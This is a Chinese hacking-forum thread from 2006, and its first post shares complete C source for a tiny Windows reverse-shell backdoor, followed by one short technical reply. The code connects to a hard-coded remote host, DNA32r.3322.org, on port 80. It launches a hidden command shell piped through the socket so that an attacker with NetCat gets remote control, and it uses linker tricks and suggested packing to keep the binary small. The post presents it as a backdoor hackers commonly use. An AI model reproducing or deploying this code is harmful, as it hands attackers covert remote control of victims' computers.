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标题: 1k(程序体积1kb) 反向连接,零管道后门 [打印本页]

作者: 烟圈配咖啡 时间: 2006-5-31 00:40 标题: 1k(程序体积1kb) 反向连接,零管道后门

写ShellCode的时候写的~C版本代码~~没用就丢出来了~ CODE: /* 1k(程序体积1kb) 反向连接,零管道后门 By Anskya 说明: 不用我多说了吧..黑客一般都会使用的后门程序.. 这里只是简单的演示一下..没有添加进程隐藏功能程序可以在Win9x,Win2k,WinXP,Win2k3上使用程序体积只有1k(FSG压缩一下会更小) 测试: 本地开启NetCat等工具,监听80端口,会返回一个Shell */ #pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:Entrypoint") #pragma comment(linker,"/INCREMENTAL:NO /IGNORE:4078") #pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=Anskya /SECTION:Anskya,EWR") #pragma comment(lib, "ws2_32.lib") #include #include #define MasterAddr "DNA32r.3322.org" //连接地址 #define MasterPort 80 //连接端口 void Entrypoint() { WSADATA WSADa; LPHOSTENT HostEnts; sockaddr_in SockAddrIn; SOCKET FSocket; PROCESS_INFORMATION ProcessInfo; STARTUPINFO StartupInfo; char szCMDPath[255]; //------------------- ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION)); ZeroMemory(&StartupInfo, sizeof(STARTUPINFO)); ZeroMemory(&WSADa, sizeof(WSADATA)); //----初始化数据---- GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath)); //获取cmd路径 WSAStartup(0x0202,&WSADa); //加载ws2_32.dll HostEnts=gethostbyname(MasterAddr); SockAddrIn.sin_family = AF_INET; SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list); SockAddrIn.sin_port = htons(MasterPort); FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); //获取远程地址和端口～绑定协议 connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn)); //开始连接远程服务器 StartupInfo.cb = sizeof(STARTUPINFO); StartupInfo.wShowWindow = SW_HIDE; StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; StartupInfo.hStdInput = (HANDLE)FSocket; StartupInfo.hStdOutput = (HANDLE)FSocket; StartupInfo.hStdError = (HANDLE)FSocket; //创建匿名管道 createProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo); WaitForSingleObject(ProcessInfo.hProcess, INFINITE); CloseHandle(ProcessInfo.hProcess); CloseHandle(ProcessInfo.hThread); //关闭进程句柄 closesocket(FSocket); WSACleanup(); //关闭连接卸载ws2_32.dll }

作者: wxf 时间: 2006-6-1 00:47 标题: 1k(程序体积1kb) 反向连接,零管道后门

Loadlibrary?
GetProcAddress?

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